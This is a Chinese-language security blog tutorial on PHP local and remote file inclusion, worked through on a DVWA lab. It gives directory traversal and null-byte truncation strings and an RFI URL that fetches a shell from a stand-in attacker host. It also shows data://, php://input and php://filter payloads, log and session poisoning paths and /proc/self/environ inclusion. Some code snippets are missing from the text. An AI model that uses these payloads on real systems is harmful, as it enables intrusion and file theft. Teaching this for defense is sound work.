文件包含漏洞所有知识

文件包含漏洞

  • 前言
  • 一、php关于文件包含
    • 相关配置
      • magic_quotes_gpc
      • allow_url_fopen
      • allow_url_include
    • 相关函数
      • include()
      • require()
      • require_once()
      • include_once()
    • 利用条件
  • 二、本地文件包含
    • 目录遍历漏洞
      • 目录遍历介绍
      • 目录遍历绕过方式
      • 防御目录遍历
    • 防御本地文件包含漏洞
  • 远程文件包含
  • 本地文件包含的利用技巧
    • 包含用户上传的文件
    • 包含data://或者php:// 等伪协议
      • 伪协议:
        • file:// — 访问本地文件系统
        • http:// — 访问 HTTP(s) 网址
        • ftp:// — 访问 FTP(s) URLs
        • php:// — 访问各个输入/输出流(I/O streams)
        • zlib:// — 压缩流
        • data:// — 数据(RFC 2397)
        • glob:// — 查找匹配的文件路径模式
        • phar:// — PHP 归档
        • ssh2:// — Secure Shell 2
        • rar:// — RAR
        • ogg:// — 音频流
        • expect:// — 处理交互式的流
    • 包含session文件
        • session常见存储路径
    • 包含日志文件,比如webserver的access log
        • 日志默认路径
    • 包含/proc/self/environ文件
    • 包含上传的临时文件
    • 包含其他应用创建的文件,比如数据库文件,缓存文件,应用日志等


前言

严格来说,文件包含漏洞属于‘代码注入的一种’。其原理就是注入一段用户能控制的脚本或者代码,并让服务器执行。而‘代码注入’的典型代表就是文件包含,文件包含一般出现在JSP、PHP、ASP等语言中,常见的导致文件包含的函数如下。

ASP:include file、include virtual…
PHP:include()、require()、require_once()、include_once()、fopen()、readfile()…
JSP:ava.io,File()、java.io.FileReader()…

其中,PHP文件包含漏洞是最出名的,且其后果十分严重

文件包含还是在这个页面,只不过他是把其他文件包含到了这个页面中去了

一、php关于文件包含

相关配置

magic_quotes_gpc

在PHP的配置文件中,这个值如果为On的话,就表示对用户提交的数据进行判断解析,如包括有get、post、cookie传过来的数据会增加转义字符’’,使得这些数据不会影响程序发生错误,尤其是防止数据库语句因为没有转义而发生的sql注入漏洞。

allow_url_fopen

在PHP的配置文件中,如果这个值为On的话,就表示可以允许打开URL文件,默认是开启的

allow_url_include

在PHP的配置文件中,如果这个值为On的话,就表示可以允许include函数或者require函数接收URL远程文件,默认是关闭的

其中,allow_url_fopen默认开启保证了我们能够打开远端文件,而allow_url_include的关闭也一定程度上避免了include和require所带来的文件包含漏洞,所以他们的预设是基于此才默认打开或者关闭的。

但实际上他们只是对URL文件进行了限制,只能影响http/ftps的调用,我们任然可以用其他的伪协议进行突破,比如php://或者data://,这两个协议仍然不收他们关闭的影响

相关函数

include()

用到的时候在加载,引入文件的时候,如果碰到错误,会给出提示,并继续运行

require()

在一开始就加载,引入文件的时候,如果遇到错误,会给出提示,并停止运行下面的代码

require_once()

include_once()

_once后缀表示已经加载的不加载

当使用这四个函数包含一个新文件时,该文件会被当做PHP代码执行,PHP内核并不会在意该包含的文件是什么类型,所以就算这个被包含的文件时txt、jpg、url都将作为php代码执行。

比如下列代码


这句话的作用就是文件包含,将test变量后面跟的文件当成php文件进行执行

利用条件

要想成功利用文件包含漏洞,需要满足下面两个条件:
1、include()等函数通过动态变量(文件不能固定死,必须是可变的才行)的方式引入需要包含的文件
2、用户能够控制该动态变量

二、本地文件包含

能够打开并包含本地文件的漏洞,这里的本地指服务器本地,这种漏洞被称为本地文件包含漏洞(Local File Inclusion),也称作LFI。
比如,下面代码就存在LFI漏洞

file_exists() 函数检查文件或目录是否存在。file_exists(文件路径)


这就是一个很明显的文件包含漏洞,因为用户可以控制参数file,当file的值为../../etc/passwd时,PHP将访问/etc/passwd文件,但这里也还会存在一个小问题,当我们的file的值为../../etc/passwd时,就相当于我们输入的文件路径为
/home/wwwrun../../etc/passwd.php,此时被包含文件就相当于/etc/passwd.php,但实际上这个文件不存在,那么该如何规避这个错误呢?因为PHP内核都是由C语言实现的,因此在链接字符串时,0字节(0x00)将作为字符串结束符,所以在这个地方,我们可以再passwd后面加入一个0字节,表示截断后面的.php即可。因为是GET传参,我们需要输入0字节的URL编码形式%00,所以我们最后的file变量值为../../etc/passwd%00.

当然,除了可以使用00截断方法外,也有其他办法,就是利用操作系统对目录名的最大长度的限制,不需要使用0字节达到自己的目的,windows系统下目录名的最大长度为256个字节,最大长度之后的字节将会被抛弃,所以我们可以构造出一个很长的目录名,使得后面的.php失效,我们可以通过./的方式,比如

../../etc/passwd./././././././././../././././././././././././././././././././././././././././././././././././././././././.././././././././././././././././././././././././././././././././././././././././

或者
......................................................................................................................................................................

或者
../../etc/passwd/abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../abc/123../../

当然,除了上述的4个经典函数外,PHP能够对文件进行操作的函数都有可能出现此漏洞,虽然他们大多数情况下不能只写PHP代码,但如果能读取敏感文件带来的后果也是比较严重的,比如fopen()、fread()…

目录遍历漏洞

目录遍历介绍

在前面我们利用文件名的最大长度绕过时,使用了…/…/这种方式来返回上层目录中,实际这种方式又被称为’目录遍历’。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端逻辑。

目录遍历绕过方式

比如

%2e%2e%2f   等同于../
%2f   等同于../
%2e%2e   等同于../
%2e%2e%5c   等同于..\
%2e%2e\   等同于..\
..%5c   等同于..\
..%255c   等同于..\
%252e%252e%255c   等同于..\

防御目录遍历

目录遍历是一种跨越目录读取文件的方法,但当PHP配置了open_basedir时,将很好地保护服务器,使得这种攻击无效。

open_basedir的作用是限制在某个特定目录下PHP能打开的文件。

防御本地文件包含漏洞

要想解决本地文件包含漏洞,应该尽量避免使用含有动态的变量,尤其是用户可以控制的变量,一种变通方式,就是使用枚举,将可能用到的file的值枚举出来,也就避免了任意文件包含的风险

远程文件包含

如果PHP配置中的allow_url_include为ON的话,则include和require函数是可以加在远程文件的,这种漏洞被称之为远程文件包含漏洞(remore file inclusion),即RFI,比如下面代码


上述代码就是远程文件包含的漏洞,因为对于变量$baseparh,他没有设置任何的障碍,攻击者可以构造类似如下的url
/?param = http://attacker/phpshell.txt?
最后加载的代码实际上执行了
require_once http://attacker/phpshell.txt?/action/m_share.php
问号后面的代码也可以被解释成url的querystring,也是一种截断,这是利用远程文件包含漏洞的常见技巧。当然,也可以使用%00截断

远程文件包含漏洞可以执行任意命令,比如在攻击者的服务器上存在如下文件


这行指令执行就会返回被攻击者的服务器的详细信息


本地文件包含的利用技巧

按理来说,本地文件包含漏洞只能执行本地服务器的文件,是不太可能会执行PHP代码的,而远程文件包含漏洞之所以能够执行,也是因为攻击者能够自定义被执行的文件内容。因此,本地文件包含如果想要执行命令,也需要找到一个攻击者能够控制内容的本地文件

大概有一下几种方式可以实现这个目的

包含用户上传的文件

这个方式很好理解,如果用户上传的文件中存在php代码,那么文件包含自然会被include函数加载后执行。但是这种通常需要与文件上传漏洞相互配合才能实现,而且这种文件包含需要知道文件上传后的存放路径,路径的猜测也是一个难点


包含data://或者php:// 等伪协议

对于伪协议php:// 的利用,可能得需要服务器配置的支持,同时也要要求allow_url_include的值设置为ON,在PHP5.2.0之后的版本中均支持data:伪协议,可以很方便的执行代码,但也同样要求allow_url_include的值设置为ON。

伪协议:

file:// — 访问本地文件系统

这个本地指的是服务器本地,他用于访问本地文件系统,且不受allow_url_fopen与allow_url_include的影响。
file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径时,提供的路径将基于当前的工作目录。

比如

http://192.168.243.128/dvwa/vulnerabilities/fi/?page=/var/www/dvwa/phpinfo.php
直接以绝对路径访问本地文件phpinfo.php

http://192.168.243.128/dvwa/vulnerabilities/fi/?page=file:///var/www/dvwa/phpinfo.php
也可以加上file://,然后以绝对路径访问本地文件phpinfo.php

http://192.168.243.128/dvwa/vulnerabilities/fi/?page=../../phpinfo.php
也可以直接使用相对路径访问本地文件phpinfo.php

http:// — 访问 HTTP(s) 网址

使用http://伪协议相当于已经不再是本地文件包含了,而是远程文件包含,如果使用这个协议想要成功,需要是的owasp与攻击机在同一个网络下,最好这样才能访问成功,如果他们相互之间ping的通,就是可以使用这个伪协议的。当然除了私有攻击机之外,也可以后面连接公网的IP,这样子也是可以的。

作用:常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。

比如:

http://192.168.243.128/dvwa/vulnerabilities/fi/?page=http://192.168.243.129/phpinfo/phpinfo.txt

http://192.168.243.128/dvwa/vulnerabilities/fi/?page=http://192.168.243.129/index.php

ftp:// — 访问 FTP(s) URLs

php:// — 访问各个输入/输出流(I/O streams)

通常php://伪协议使用input参数,但他是在POST请求中,所以如果是GET请求,需要BP抓包,修改GET值为POST才行,他在POST请求中访问的是的data部分,在enctype=“multipart/form-data” 的时候php://input 是无效的。在BP转包之后,直接将想要运行的语句直接写在包后面即可

比如

POST /dvwa/vulnerabilities/fi/?page=php://input HTTP/1.1
Host: 192.168.243.128
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: security=low; PHPSESSID=ncmfpqj0d0r6nopn4qrsftdfd2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
Upgrade-Insecure-Requests: 1
Content-Length: 17



//抓包之后,将GET改为了POST,然后在包的最后传入php语句

其实利用php伪协议的input字段,也可以尝试插入脚本,就是将post传的值修改为:
');?>

当然,除了php伪协议除了input字段,filter字段有时候也会很关键。

php://filter 是一种设计用来允许过滤器程序在打开时成为流的封装协议。这对于单独具有完整功能的文件函数非常有用,否则就没有机会在读取内容之前将过滤器应用于流之上。

php://filter它可以获取指定文件源码(通过resource指定)。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

该协议语法为:php://filter:/==

常用的action的值可以为

php://filter参数 功能
read=<读链的过滤器> 可选项,可以设定一个或者多个过滤器名称
write=<写链的过滤器> 可选项,可以设定一个或者多个过滤器名称
resource=<要过滤的数据流> 必须项,它指定你要筛选过滤的数据流
任何没有以read或者write做前缀的筛选器列表会视情况应用于读或写链

可用的过滤器列表:此处值列举主要的过滤器类型

字符串过滤器 作用
string.rot13 rot13变换
string.toupper 把所有字母转换成大写字母
string.tolower 把所有字母转换成小写字母
string.strip_tags 去除html、php语言标签
转换过滤器 作用
convert.base64-encode&convert-base64-decode 相当于base64编码、解码
convert.quoted-printable-encode&cconvert.quoted-printable-decode quoted-printable字符串与8-bit字符串编码解码

例如:

php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)

php://filter/read=convert.base64-encode/resource=index.php
这句话就是将index.php代码全部转换为base64编码格式

同理,可以将我们需要查看的页面代码通过resouce获取,然后为了不让其执行,使用read过滤转换,然后截包就可以获取我们所需要的页面代码了,只要在相应解码即可

zlib:// — 压缩流

zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。

data:// — 数据(RFC 2397)

可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

具体使用方法
data://[][;charset=][;base64],

data://text/plain,
data://text/plain;base64,

http://192.168.243.128/dvwa/vulnerabilities/fi/?page=data://text/plain,%3C?php%20phpinfo()?%3E

http://192.168.243.128/dvwa/vulnerabilities/fi/?page=data://text/plain;base64,%50%44%39%77%61%48%41%67%63%47%68%77%61%57%35%6d%62%79%67%70%4f%7a%38%2b
也可以用这种方式进行,将php代码转换为base64后,在进行url编码,然后发送
因为如果只是使用base64编码后,可能有些符号(比如‘+’)由于没有进行url编码,而报错访问不到数据

glob:// — 查找匹配的文件路径模式

phar:// — PHP 归档

phar://协议与zip://类似,同样可以访问zip格式压缩包内容

ssh2:// — Secure Shell 2

rar:// — RAR

ogg:// — 音频流

expect:// — 处理交互式的流

具体使用:例如:
http://192.168.243.128/dvwa/vulnerabilities/fi/?page=file://text/plain,


包含session文件

包含session文件的条件也比较苛刻,他需要攻击者能够控制部分session文件的内容,一般情况下,PHP默认生成的session文件保存在/tmp目录下,比如
/tmp/sess_SESSIONID

php的session文件的保存路径可以在phpinfo的session.save_path看到

session常见存储路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到

包含日志文件,比如webserver的access log

包含日志文件是一种比较通用的技巧,因为服务器一般都会网web server 的assess_log中记录客户端的请求信息,在error_log中记录出错请求。因此攻击者可以间接的将php带入写入到日志文件中去,再文件包含时,访问日志文件即可。
实际就是说,将php代码放入请求信息中,服务器会自动保存到access_log或者error_log中,然后我们本地包含文件即访问这些即可

但需要注意的是,如果网站访问量大的话,日志文件可能会很大,当遇到这么一个特别大的日志文件时,PHP进程可能会僵死。但是web server往往会滚动日志,或者每天生成一个新得日志文件。因此,建议在凌晨是包含日志文件,会提高攻击的成功概率,因为此时的日志文件会很小。

若以apache为例,一般的攻击步骤是,先通过读取httpd的配置文件httpd.conf,找到日志所在的目录。httpd.conf一般会存在apache的安装目录下,比如在redhat系列里默认安装的路径为/etc/httpd 或者 conf/httpd.conf
,而自定义安装的位置是很难猜到的。其中,MSF中包含了一个脚本自动化完成对包含日志文件的攻击(这个到时候学完MSF得搞一下)

如果真的最后httpd配置文件和日志目录完全没有找到,可以尝试构造一些异常也许能够暴露出web目录的所在位置,如果他没有关闭php错误回显的话

日志默认路径

(1) apache+Linux日志默认路径

/etc/httpd/logs/access_log
/var/log/httpd/access_log

(2) apache+win2003日志默认路径

D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log

(3) IIS6.0+win2003默认日志文件

C:\WINDOWS\system32\Logfiles

(4) IIS7.0+win2003 默认日志文件

%SystemDrive%\inetpub\logs\LogFiles

(5) nginx 日志文件
日志文件在用户安装目录logs目录下


包含/proc/self/environ文件

包含/proc/self/environ文件是一种更为通用的办法,因为他不需要猜测被包含文件的路径,同时用户也能控制它的内容

http://www.website.com/view.php?page=../../../../../proc/self/environ
包含/proc/self/environ文件,可以返回web进程运行时的环境变量,其中很多都是用户可以自己控制的,最常见的是在UA中注入PHP代码

proc 是一个伪文件系统,它提供了内核数据结构的接口。通常挂载在 /proc 目录下。一般是由系统自动挂载的,不过也可以通过 mount 命令进行手动挂载。proc文件系统只包含系统运行时的信息(如系统内存、mount 设备信息等),它只存在于内存中而不占用外存空间。它以文件系统的形式,为访问内核数据的操作提供接口。

不同的进程访问 /proc 时获得的信息是不同的,当一个进程访问 /proc/self 时,会解析成该进程相应的目录(也就是 /proc/[本进程的pid]/)。/proc/self 指的是当前运行进程自己的环境,进程可以通过访问 /proc/self/ 目录来获取自己的系统信息

自己尝试了一下/porc文件系统,发现使用文件包含漏洞无法访问,也没找到原因。(具体原因,等以后知道的多了在搞)

以上这些方法,都要求PHP能够包含这些文件,而这些文件往往都处于Web目录之外,一旦PHP配置了open_basedir,则很可能使得攻击失效


包含上传的临时文件

包含上传的临时文件,往往处于PHP允许访问的目录范围内。包含这个临时文件的方法,其理论意义大于实际意义。

php会为上传文件创建临时文件,其目录在php.ini的upload_tmp_dir中定义。但该值默认为空,此时在Linux下会使用\temp目录,在windows下会使用C:\Windows\temp目录

该临时文件的文件名是随机的,攻击者必须准确猜测出该文件名才能成功利用该洞,因为PHP在此处并没有使用安全的随机函数,所以暴力破解文件名是可能的,在windows下,仅有65535种不同的文件名


包含其他应用创建的文件,比如数据库文件,缓存文件,应用日志等

你可能感兴趣的:(文件包含,php,安全,web安全)